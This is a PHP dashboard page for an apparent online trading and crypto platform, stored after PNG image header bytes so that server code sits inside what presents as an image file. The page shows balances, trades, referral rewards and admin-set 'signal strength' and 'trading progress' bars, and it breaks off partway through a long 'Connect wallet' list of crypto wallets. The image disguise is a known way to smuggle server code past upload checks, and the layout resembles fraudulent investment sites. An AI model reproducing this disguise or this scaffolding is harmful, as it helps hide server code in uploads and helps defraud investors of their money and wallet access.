PNG IHDR x sBIT|d pHYs + tEXtSoftware www.inkscape.org< ,tEXtComment
<?php
// Turn on error reporting for debugging
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
session_start();
require_once('auto_close_trades.php');
// Ensure includes exist
if (!file_exists('includes/connect.php') || !file_exists('includes/functions.php')) {
die("<h2 style='color:red; padding:20px; font-family:sans-serif;'>CRITICAL ERROR: Cannot find 'includes/connect.php' or 'includes/functions.php'. Please check your file paths.</h2>");
}
require_once('includes/connect.php');
require_once('includes/functions.php');
// Handle Logout
if (isset($_GET['l'])) {
logout();
echo "<script>alert('Logged out successfully.'); window.location.href='https://dashboard.com';</script>";
exit();
}
// Authentication Check
if (!isset($_SESSION['Email'])) {
echo "<script>
alert('ERROR: You are not logged in. Session Email is missing. Redirecting to login...');
window.location.href = '../../../index.php';
</script>";
exit();
}
// Generate CSRF Token for Security
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
// Fetch User Data
$user = GetMember1($_SESSION['Email']);
if (!$user) {
echo "<script>
alert('ERROR: Could not find user in the database.');
window.location.href = '../../../index.php';
</script>";
exit();
}
// Setup View Variables
$userId = $user['ID'];
$userWallet = floatval($user['wallet']);
$userCapital = floatval($user['Capital']);
$userProfit = floatval($user['Profit']);
// --- CORE FIX: TOTAL BALANCE CALCULATION ---
$totalBalance = $userCapital + $userProfit;
$currencySymbol = htmlspecialchars($user['sym']);
$userName = htmlspecialchars($user['Uname']);
$userFullName = htmlspecialchars($user['full_name']);
$isVerified = isset($user['is_verified']) && $user['is_verified'] == 1;
$signalStrength = isset($user['signal_strength']) ? (int)$user['signal_strength'] : 50;
$tradingProgress = isset($user['trading_progress']) ? (int)$user['trading_progress'] : 0;
$userReferralCode = isset($user['referral_code']) && !empty($user['referral_code']) ? htmlspecialchars($user['referral_code']) : 'GENERATE_CODE';
$referralRewards = isset($user['referral_rewards']) ? floatval($user['referral_rewards']) : 0.00;
// Create Avatar Initials
$nameParts = explode(' ', $userFullName);
$avatarInitials = '';
if (count($nameParts) >= 2) {
$avatarInitials = strtoupper(substr($nameParts[0], 0, 1) . substr($nameParts[1], 0, 1));
} else {
$avatarInitials = strtoupper(substr($userName, 0, 2));
}
// FETCH TRANSACTIONS STATS
$totalDeposits = 0.00;
$totalWithdrawals = 0.00;
try {
$stmtStats = $conn->prepare("SELECT type, SUM(amount) FROM transactions WHERE user_id = ? AND status = 'COMPLETED' GROUP BY type");
if ($stmtStats) {
$stmtStats->bind_param("i", $userId);
$stmtStats->execute();
$resultStats = $stmtStats->get_result();
while ($row = $resultStats->fetch_row()) {
if ($row[0] === 'DEPOSIT') $totalDeposits = floatval($row[1]);
if ($row[0] === 'WITHDRAWAL') $totalWithdrawals = floatval($row[1]);
}
$stmtStats->close();
}
} catch (Exception $e) {
// Fail silently on frontend
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="csrf-token" content="<?php echo $_SESSION['csrf_token']; ?>">
<title>Dashboard - Your Platform</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Manrope:wght@400;500;600;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="style.css">
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<style>
.verified-link { color: #26A69A; font-size: 0.85rem; font-weight: 500;}
.not-verified-link { color: #EF5350; font-size: 0.85rem; font-weight: 500;}
/* ========================================= */
/* FIX: MOBILE SIDEBAR MENU CSS */
/* ========================================= */
@media (max-width: 768px) {
.sidebar {
}
.sidebar.open {
left: 0 !important;
}
}
/* Trade Specific CSS */
.trade-accordion { background-color: var(--color-input); border-radius: 12px; margin-bottom: 20px; border: 1px solid var(--color-box-border); overflow: hidden; }
.accordion-header { padding: 16px 20px; display: flex; justify-content: space-between; align-items: center; cursor: pointer; transition: background-color 0.2s; }
.accordion-header:hover { background-color: var(--color-input-hover); }
.accordion-title { display: flex; align-items: center; gap: 12px; font-weight: 600; font-size: 16px; color: var(--color-text); }
.accordion-title svg { color: var(--color-text-secondary); }
.accordion-title .count { background: var(--color-primary); color: #fff; padding: 2px 8px; border-radius: 12px; font-size: 12px; }
.accordion-arrow { transition: transform 0.3s ease; color: var(--color-text-secondary); }
.trade-accordion.active .accordion-arrow { transform: rotate(180deg); }
.accordion-content { max-height: 0; overflow: hidden; transition: max-height 0.3s ease-out; }
.trade-accordion.active .accordion-content { max-height: 1500px; transition: max-height 0.3s ease-in; border-top: 1px solid var(--color-box-border); }
.trades-table-wrapper { overflow-x: auto; padding: 10px; }
.trades-table-header, .trades-table-row { display: grid; grid-template-columns: 1fr 1fr 1fr 1fr 1fr 1fr 100px; gap: 15px; padding: 12px 10px; align-items: center; min-width: 800px; font-size: 14px; }
.trades-table-header { color: var(--color-text-secondary); font-weight: 600; border-bottom: 1px solid var(--color-box-border); text-transform: uppercase; font-size: 12px; letter-spacing: 0.5px; }
.trades-table-row { border-bottom: 1px solid hsla(0, 0%, 100%, 0.02); transition: background-color 0.2s; }
.trades-table-row:hover { background-color: hsla(0, 0%, 100%, 0.02); }
.trades-table-row:last-child { border-bottom: none; }
.direction-buy { color: var(--accent-green, #26A69A); font-weight: bold; }
.direction-sell { color: var(--accent-red, #EF5350); font-weight: bold; }
.pnl-positive { color: var(--accent-green, #26A69A); font-weight: bold; }
.pnl-negative { color: var(--accent-red, #EF5350); font-weight: bold; }
.btn-close-trade { background-color: var(--color-control); border: 1px solid var(--color-box-border); color: var(--color-text); padding: 6px 12px; border-radius: 6px; cursor: pointer; font-size: 12px; font-weight: 600; transition: all 0.2s; width: 100%; }
.btn-close-trade:hover { background-color: var(--accent-red); border-color: var(--accent-red); }
@media (max-width: 768px) {
.trades-table-header { display: none; }
.trades-table-row { display: flex; flex-direction: column; gap: 8px; min-width: unset; padding: 15px; background: hsla(0,0%,100%,0.02); border-radius: 8px; margin-bottom: 10px; }
.trades-table-row > div { display: flex; justify-content: space-between; }
.trades-table-row > div::before { content: attr(data-label); color: var(--color-text-secondary); }
}
/* ========================================= */
/* FIX: MODALS AND OVERLAYS CSS */
/* ========================================= */
.notifications-overlay, .modal-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 2000; opacity: 0; visibility: hidden; transition: 0.3s; background: rgba(0,0,0,0.6); display: flex; align-items: center; justify-content: center;}
.notifications-overlay.open, .modal-overlay.active { opacity: 1; visibility: visible; }
.notifications-panel { position: fixed; top: 0; right: 0; width: 100%; max-width: 400px; height: 100%; background: #1a1d21; transform: translateX(100%); transition: 0.3s; z-index: 2001; display:flex; flex-direction:column; border-left:1px solid #333;}
.notifications-overlay.open .notifications-panel { transform: translateX(0); }
.notifications-header { display: flex; justify-content: space-between; align-items: center; padding: 20px; border-bottom: 1px solid #333; }
.notifications-header h2 { margin:0; font-size:1.2rem; color:#fff;}
.panel-btn { background: none; border: none; color: #aaa; cursor: pointer; display: flex; align-items: center; padding: 4px; }
.panel-btn:hover { color: #fff; }
.panel-btn svg { width: 24px; height: 24px; }
.notifications-body, .referrals-body, .wallet-body, .wallet-form-body { flex-grow: 1; overflow-y: auto; padding: 20px; }
.notification-bell-wrapper { position: relative; display: inline-flex; }
.notification-count-badge { position: absolute; top: 0; right: 0; background-color: #e74c3c; color: white; font-size: 11px; font-weight: bold; width: 18px; height: 18px; border-radius: 50%; display: none; align-items: center; justify-content: center; border: 2px solid #101215; transform: translate(40%, -40%);}
/* Connect Wallet Modals */
.wallet-item { display: flex; align-items: center; justify-content: space-between; padding: 15px; background: #2c3036; border-radius: 8px; border: 1px solid #444; margin-bottom: 10px; cursor: pointer; transition: 0.2s;}
.wallet-item:hover { background: #353a41; }
.modal-content { background-color: #1a1d21; padding: 24px; border-radius: 12px; width: 90%; max-width: 400px; border: 1px solid #333; }
.modal-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 24px; color: white; }
.modal-close-btn { background: none; border: none; color: white; font-size: 2rem; cursor: pointer; line-height: 1; }
.form-group { margin-bottom: 20px; }
.modal-label { display: block; color: #a0a0b8; font-size: 14px; margin-bottom: 8px; }
.modal-input { width: 100%; background-color: #2c2f36; border: 1px solid #444; border-radius: 8px; padding: 14px; color: white; font-size: 16px; box-sizing: border-box; }
.modal-textarea { width: 100%; background-color: #2c2f36; border: 1px solid #444; border-radius: 8px; padding: 14px; color: white; font-size: 16px; box-sizing: border-box; height: 120px; resize: vertical; }
</style>
</head>
<body class="dashboard-page">
<div class="dashboard-container">
<?php include("side.php") ; ?>
<div class="main-content">
<?php include("top.php"); ?>
<main class="content-grid">
<section class="card mobile-balance-card">
<div class="mobile-balance-top">
<div class="mobile-balance-info">
<p class="card-subtitle">Total Balance</p>
<p class="balance-amount"><?php echo $currencySymbol; ?> <span id="mobile-balance-display"><?php echo number_format($totalBalance, 2); ?></span></p>
</div>
</div>
<div class="mobile-balance-actions">
<a href="deposit.php" class="mobile-action-btn">
<div class="icon-wrapper"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M12 4.5v15m7.5-7.5h-15" /></svg></div>
<span>Deposit</span>
</a>
<a href="withdraw.php" class="mobile-action-btn">
<div class="icon-wrapper"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3" /></svg></div>
<span>Withdraw</span>
</a>
<a href="trade.php" class="mobile-action-btn">
<div class="icon-wrapper"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M2.25 18L9 11.25l4.306 4.307a11.95 11.95 0 015.814-5.519l2.74-1.22m0 0l-5.94-2.28m5.94 2.28l-2.28 5.941" /></svg></div>
<span>Trade</span>
</a>
</div>
</section>
<section class="card mobile-tab-card">
<div class="mobile-content-tabs"><button class="active">Top Assets</button></div>
<div class="mobile-tab-content">
<div class="card-header no-style">
<h3 class="small-title">Top Assets</h3>
<a href="assets.php" class="view-all">View all assets ›</a>
</div>
<div class="stat-item mt-20">
<div class="card-header">
<h3 class="card-title">Trading progress</h3>
<span class="percentage red"><?php echo $tradingProgress; ?>%</span>
</div>
<div class="progress-bar-container">
<div class="progress-bar red" style="width:<?php echo $tradingProgress; ?>%"></div>
</div>
</div>
<div class="stat-item mt-20">
<div class="card-header">
<h3 class="card-title">Signal strength</h3>
<span class="percentage red"><?php echo $signalStrength; ?>%</span>
</div>
<div class="signal-bar-container">
<?php
$segments = 10;
$activeSegments = round(($signalStrength / 100) * $segments);
for ($i = 0; $i < $segments; $i++) {
$class = ($i < $activeSegments) ? 'signal-segment red' : 'signal-segment';
echo "<div class='$class'></div>";
}
?>
</div>
</div>
</div>
</section>
<section class="card overview-card" id="overview-card">
<div class="view-content assets-view">
<div class="overview-balance-section">
<div class="balance-info">
<p class="card-subtitle">Total Balance</p>
<p class="balance-amount"><?php echo $currencySymbol; ?> <span id="main-balance-display"><?php echo number_format($totalBalance, 2); ?></span></p>
</div>
<div class="balance-actions">
<div class="move-money-dropdown-container" id="move-money-container">
<button class="btn btn-primary" id="move-money-btn">
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="icon-lightning"><path stroke-linecap="round" stroke-linejoin="round" d="M3.75 13.5l10.5-11.25L12 10.5h8.25L9.75 21.75 12 13.5H3.75z"></path></svg>
<span>Move money</span>
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2.5" stroke="currentColor" class="icon-chevron js-chevron"><path stroke-linecap="round" stroke-linejoin="round" d="M19.5 8.25l-7.5 7.5-7.5-7.5"></path></svg>
</button>
<div class="move-money-dropdown-menu" id="move-money-dropdown-menu">
<a href="deposit.php" class="dropdown-action-btn"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M12 4.5v15m7.5-7.5h-15"></path></svg><span>Deposit</span></a>
<a href="withdraw.php" class="dropdown-action-btn"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M4.5 19.5l15-15m0 0H8.25m11.25 0v11.25"></path></svg><span>Withdraw</span></a>
<a href="trade.php" class="dropdown-action-btn"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M2.25 18L9 11.25l4.306 4.307a11.95 11.95 0 015.814-5.519l2.74-1.22m0 0l-5.94-2.28m5.94 2.28l-2.28 5.941"></path></svg><span>Trade</span></a>
</div>
</div>
<button class="icon-btn card-icon-btn" id="toggle-assets-view-btn"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21 12a2.25 2.25 0 00-2.25-2.25H15a3 3 0 11-6 0H5.25A2.25 2.25 0 003 12m18 0v6a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 18v-6m18 0V9M3 12V9m18 3a2.25 2.25 0 00-2.25-2.25H5.25A2.25 2.25 0 003 9m18 3V9"></path></svg></button>
<button class="icon-btn card-icon-btn" id="toggle-overview-view-btn"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M3 13.125C3 12.504 3.504 12 4.125 12h2.25c.621 0 1.125.504 1.125 1.125v6.75C7.5 20.496 6.996 21 6.375 21h-2.25A1.125 1.125 0 013 19.875v-6.75zM9.75 8.625c0-.621.504-1.125 1.125-1.125h2.25c.621 0 1.125.504 1.125 1.125v11.25c0 .621-.504 1.125-1.125 1.125h-2.25a1.125 1.125 0 01-1.125-1.125V8.625zM16.5 4.125c0-.621.504-1.125 1.125-1.125h2.25C20.496 3 21 3.504 21 4.125v15.75c0 .621-.504 1.125-1.125 1.125h-2.25a1.125 1.125 0 01-1.125-1.125V4.125z"></path></svg></button>
</div>
</div>
<div class="card-divider"></div>
<div class="overview-assets-section">
<div class="card-header">
<h3>Top Assets</h3>
<a href="assets.php" class="view-all">View all assets ></a>
</div>
<div class="asset-list" id="overview-asset-list"></div>
</div>
</div>
<div class="view-content details-view">
<div class="details-view-header">
<div class="balance-info">
<p class="card-subtitle">Total Balance</p>
<p class="balance-amount"><?php echo $currencySymbol; ?> <span id="details-balance-display"><?php echo number_format($totalBalance, 2); ?></span></p>
</div>
<div class="balance-actions">
<button class="icon-btn card-icon-btn" id="toggle-assets-view-btn-details"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21 12a2.25 2.25 0 00-2.25-2.25H15a3 3 0 11-6 0H5.25A2.25 2.25 0 003 12m18 0v6a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 18v-6m18 0V9M3 12V9m18 3a2.25 2.25 0 00-2.25-2.25H5.25A2.25 2.25 0 003 9m18 3V9"></path></svg></button>
<button class="icon-btn card-icon-btn" id="toggle-overview-view-btn-details"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M3 13.125C3 12.504 3.504 12 4.125 12h2.25c.621 0 1.125.504 1.125 1.125v6.75C7.5 20.496 6.996 21 6.375 21h-2.25A1.125 1.125 0 013 19.875v-6.75zM9.75 8.625c0-.621.504-1.125 1.125-1.125h2.25c.621 0 1.125.504 1.125 1.125v11.25c0 .621-.504 1.125-1.125 1.125h-2.25a1.125 1.125 0 01-1.125-1.125V8.625zM16.5 4.125c0-.621.504-1.125 1.125-1.125h2.25C20.496 3 21 3.504 21 4.125v15.75c0 .621-.504 1.125-1.125 1.125h-2.25a1.125 1.125 0 01-1.125-1.125V4.125z"></path></svg></button>
</div>
</div>
<h3 class="details-view-title">Overview</h3>
<div class="details-list">
<div class="detail-row">
<div class="detail-label">Total Deposits</div>
<div class="detail-value"><?php echo $currencySymbol; ?> <?php echo number_format($totalDeposits, 2); ?></div>
<a href="deposit.php" class="btn-action-small">Deposit</a>
</div>
<div class="detail-row">
<div class="detail-label">Total Withdrawals</div>
<div class="detail-value"><?php echo $currencySymbol; ?> <?php echo number_format($totalWithdrawals, 2); ?></div>
<a href="withdraw.php" class="btn-action-small">Withdraw</a>
</div>
<div class="detail-row">
<div class="detail-label">Verification</div>
<div class="detail-value">
<?php if($isVerified): ?>
<span class="verified-link">Account Verified ✓</span>
<?php else: ?>
<a href="kyc_front.php" class="not-verified-link">Your account is not verified ›</a>
<?php endif; ?>
</div>
</div>
</div>
</div>
</section>
<section class="card stats-card">
<h3 class="card-title main-title">Portfolio Strength</h3>
<div class="stat-item mt-20">
<div class="card-header">
<h3 class="card-title">Trading progress</h3>
<span class="percentage red"><?php echo $tradingProgress; ?>%</span>
</div>
<div class="progress-bar-container">
<div class="progress-bar red" style="width:<?php echo $tradingProgress; ?>%"></div>
</div>
</div>
<div class="stat-item mt-20">
<div class="card-header">
<h3 class="card-title">Signal strength</h3>
<span class="percentage red"><?php echo $signalStrength; ?>%</span>
</div>
<div class="signal-bar-container">
<?php
$segments = 10;
$activeSegments = round(($signalStrength / 100) * $segments);
for ($i = 0; $i < $segments; $i++) {
$class = ($i < $activeSegments) ? 'signal-segment red' : 'signal-segment';
echo "<div class='$class'></div>";
}
?>
</div>
</div>
</section>
<section class="card chart-card">
<div class="chart-area">
<div class="tradingview-widget-container" style="height: 100%; width: 100%;">
<div id="tradingview_f24de" style="height: 100%; width: 100%;"></div>
</div>
</div>
</section>
<section class="card order-card">
<form id="trade-form" method="POST">
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
<div class="form-group">
<select id="market-select" name="commodity" required>
<option value="" disabled selected>Select an Asset...</option>
</select>
</div>
<div class="form-group">
<label for="type-select">Type</label>
<select id="type-select" name="trade_type" required>
<option value="" disabled selected>Select Type...</option>
<option value="BUY">Buy</option>
<option value="SELL">Sell</option>
</select>
</div>
<div class="form-group">
<label for="amount">Amount (<?php echo $currencySymbol; ?>)</label>
<input type="number" step="any" id="amount" name="trade_amount" required>
<small style="color:var(--color-text-secondary); margin-top:4px; display:block;">Available Capital: <?php echo $currencySymbol . number_format($userCapital, 2); ?></small>
</div>
<div class="form-row">
<div class="form-group">
<label for="stop-loss">Stop Loss</label>
<input type="number" step="any" id="stop-loss" name="stop_loss">
</div>
<div class="form-group">
<label for="take-profit">Take Profit</label>
<input type="number" step="any" id="take-profit" name="take_profit">
</div>
</div>
<div class="form-group">
<label for="duration-select">Duration</label>
<select id="duration-select" name="duration_minutes" required>
<option value="" disabled selected>Select Duration...</option>
<optgroup label="Minutes"><option value="1">1 Minute</option><option value="5">5 Minutes</option><option value="15">15 Minutes</option></optgroup>
<optgroup label="Hours"><option value="60">1 Hour</option><option value="240">4 Hours</option></optgroup>
<optgroup label="Days"><option value="1440">1 Day</option><option value="10080">7 Days</option></optgroup>
</select>
</div>
<button type="submit" class="btn-submit" id="trade-submit-btn" disabled>
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg" class="loading-icon" style="display:none;"><path class="bar1" d="M8 6V18" stroke-width="2.5" stroke-linecap="round" stroke="#fff"/><path class="bar2" d="M12 6V18" stroke-width="2.5" stroke-linecap="round" stroke="#fff"/><path class="bar3" d="M16 6V18" stroke-width="2.5" stroke-linecap="round" stroke="#fff"/></svg>
<span class="submit-text">Place Trade</span>
</button>
</form>
</section>
<section class="card trades-card">
<div class="trades-header">
<h3>My trades</h3>
<div class="trades-tabs">
<button class="active">All</button>
</div>
</div>
<div class="trade-accordion active">
<div class="accordion-header">
<div class="accordion-title">
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" width="20" height="20"><path stroke-linecap="round" stroke-linejoin="round" d="M12 6v6h4.5m4.5 0a9 9 0 11-18 0 9 9 0 0118 0z" /></svg>
<span>Open</span>
<span class="count" id="open-trades-count">0</span>
</div>
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2.5" stroke="currentColor" width="16" height="16" class="accordion-arrow"><path stroke-linecap="round" stroke-linejoin="round" d="M19.5 8.25l-7.5 7.5-7.5-7.5" /></svg>
</div>
<div class="accordion-content">
<div class="trades-table-wrapper">
<div class="trades-table-header">
<span>Date</span><span>Trade</span><span>Direction</span><span>Amount</span><span>Entry price</span><span>Profit</span><span>Action</span>
</div>
<div class="trades-table-body" id="open-trades-body">
<p style="padding:20px; text-align:center; color:var(--color-text-secondary);">Loading trades...</p>
</div>
</div>
</div>
</div>
<div class="trade-accordion">
<div class="accordion-header">
<div class="accordion-title">
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" width="20" height="20"><path stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5" /></svg>
<span>Closed</span>
<span class="count" id="closed-trades-count">0</span>
</div>
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2.5" stroke="currentColor" width="16" height="16" class="accordion-arrow"><path stroke-linecap="round" stroke-linejoin="round" d="M19.5 8.25l-7.5 7.5-7.5-7.5" /></svg>
</div>
<div class="accordion-content">
<div class="trades-table-wrapper">
<div class="trades-table-header">
<span>Date</span><span>Trade</span><span>Direction</span><span>Amount</span><span>Entry price</span><span>Profit</span><span>Action</span>
</div>
<div class="trades-table-body" id="closed-trades-body">
<p style="padding:20px; text-align:center; color:var(--color-text-secondary);">Loading trades...</p>
</div>
</div>
</div>
</div>
</section>
</main>
</div>
<div class="notifications-overlay" id="notifications-overlay">
<div class="notifications-backdrop js-close-notifications"></div>
<div class="notifications-panel" id="notifications-panel">
<header class="notifications-header">
<div class="notifications-title-section">
<button class="panel-btn js-close-notifications"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 19.5L8.25 12l7.5-7.5" /></svg></button>
<h2>Notifications</h2>
</div>
<button class="panel-btn js-close-notifications"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /></svg></button>
</header>
<div class="notifications-body">
<div class="empty-state" id="empty-state">
<p>No notifications yet.</p>
</div>
<div id="notification-list" class="notification-list"></div>
</div>
</div>
</div>
<div class="notifications-overlay" id="referrals-overlay">
<div class="notifications-backdrop js-close-referrals"></div>
<div class="notifications-panel" id="referrals-panel">
<header class="notifications-header">
<div class="notifications-title-section">
<button class="panel-btn js-close-referrals"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 19.5L8.25 12l7.5-7.5" /></svg></button>
<h2>Referral program</h2>
</div>
<button class="panel-btn js-close-referrals"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /></svg></button>
</header>
<div class="referrals-body" style="padding: 24px;">
<p style="color:#aaa; margin-bottom:20px;">Invite your friends to join our platform by using your referral code on sign up!</p>
<div style="margin-bottom:20px;">
<label style="color:#888; font-size:14px; display:block; margin-bottom:8px;">Your referral balance:</label>
<div style="display:flex; justify-content:space-between; align-items:center; background:#2c3036; padding:10px 15px; border-radius:8px;">
<div style="font-size:18px; font-weight:bold; color:#fff;"><?php echo $currencySymbol . number_format($referralRewards, 2); ?></div>
<button style="background:#31acee; color:#fff; border:none; padding:8px 15px; border-radius:6px; font-weight:bold; cursor:pointer;">CLAIM</button>
</div>
</div>
<div style="margin-bottom:20px;">
<label style="color:#888; font-size:14px; display:block; margin-bottom:8px;">Your referral code:</label>
<div style="display:flex; justify-content:space-between; align-items:center; background:#2c3036; padding:10px 15px; border-radius:8px;">
<div style="font-family:monospace; color:#31acee; letter-spacing:1px;"><?php echo $userReferralCode; ?></div>
<button style="background:#444; color:#fff; border:none; padding:8px 15px; border-radius:6px; cursor:pointer;">COPY</button>
</div>
</div>
</div>
</div>
</div>
<div class="notifications-overlay" id="wallet-overlay">
<div class="notifications-backdrop js-close-wallet"></div>
<div class="notifications-panel" id="wallet-panel">
<header class="notifications-header">
<div class="notifications-title-section">
<button class="panel-btn js-close-wallet"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 19.5L8.25 12l7.5-7.5" /></svg></button>
<h2>Connect wallet</h2>
</div>
<button class="panel-btn js-close-wallet"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /></svg></button>
</header>
<div class="wallet-body" style="padding: 24px;">
<h3 style="margin-top:0;">Connect your wallet</h3>
<div class="wallet-list" style="margin-top:20px; display:flex; flex-direction:column; gap:10px;">
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://assets.streamlinehq.com/image/private/w_300,h_300,ar_1/f_auto/v1/icons/vectors/bnb-2c9adc7qw85po528q8y3b.png/bnb-tss7lyzvhxyjfc9ivae0l.png?_a=DATAg1AAZAA0" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Binance</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/36/MetaMask_Fox.svg/512px-MetaMask_Fox.svg.png" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Metamask</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://hub.aktionariat.com/images/tokens/AKS.png" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Aktionariat Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://cdn6.aptoide.com/imgs/d/2/6/d26f331d8e18328fc124106b937fbc8a_icon.png" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Bitcoin Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSQc3GNF3L8ow_vSVNvYSPhhJ8Grt7xfuZL1g&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Bitkeep Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://cdn6.aptoide.com/imgs/3/b/f/3bfbce4b62368057eb4bb111e39c38ed_icon.png" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Bitpay</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcS43jA5NG5kn8KI9AGJYm2SJ46J9NBNViKUYg&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Blockchain</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQzfLUCfTDm3U3-PRaH-g631oADyYJdUUpYRQ&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Coinbase</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
<div style="display:flex; align-items:center; gap:10px;"><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQ8UiMc9LaKjvdZ9BlHD32dlWEAAIq3hMkxTw&s" style="width:30px; height:30px; border-radius:50%;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Crypto Wallet</span></div>
<input type="checkbox" class="toggle-checkbox">
</div>
<div class="wallet-item">
